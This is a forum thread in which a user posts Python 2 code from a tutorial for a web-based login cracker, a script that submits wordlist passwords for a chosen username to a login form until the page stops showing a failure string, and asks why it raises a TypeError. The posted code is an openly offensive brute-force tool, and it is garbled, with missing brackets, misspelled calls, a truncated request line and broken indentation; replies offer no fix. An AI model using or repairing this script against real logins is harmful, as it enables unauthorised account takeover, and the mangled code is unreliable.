Forum Thread: Web Based Login Cracker

Hi Guys!

I trying out the code that was written in this lesson (you can find the code here below) on how to build a web based login cracker, but it keeps giving me the same error.. there's someone who can help me? Thank you a lot

here is the error message:

  • Words loaded: 3

Traceback (most recent call last):

File "", line 24, in

opener = urllib2.buildopener(host)##Create an opener from the "host" variable.

File "/usr/lib/python2.6/", line 477, in buildopener


File "/usr/lib/python2.6/", line 311, in addhandler


TypeError: expected BaseHandler instance, got

This insted is the code:

import re, urllib, urllib2

#Global vars
host = ""##Login form action URL
usr = "" ##Username/email to hax
wl = "" ##File path to wordlist
badLogin ="" ##What the page source throws for bad logins, this can be a partial word
#Wordlist vars
words = open(wl, "r").readlines()
print "+ Words loaded:", len(words)

for word in words:
word = word.replace("\n","")##This will remove newlines.
loginSequence = ##Mimics web form.
('username', usr),##Name field name. Change if something else.
('password', word)##Password field name. Change if named something else.
loginData = urllib.urlencode(loginSequence)##Encode the data using urllib.
opener = urllib2.buildopener(host)##Create an opener from the "host" variable.
opener.addheaders = ('User-agent', 'Mozilla/5.0')##Add a user-agent so we look like a web browser.
source =, loginData).read()##Get the source from the site using our form.
if,source) == None:##If the source doesn't have badLogin var true, hacked.
print "Successful Login:",usr, word

Join the Next Reality AR Community

Get the latest in AR — delivered straight to your inbox.

3 Responses

Without looking, it's Python. Says it within the error message.

Though, I haven't really looked through the code.


Any suggestions on what to do?

Anyway, I saw that other people reported the same error in the old post. But in the end nobody explained how to solve it.. :)


Share Your Thoughts

  • Hot
  • Active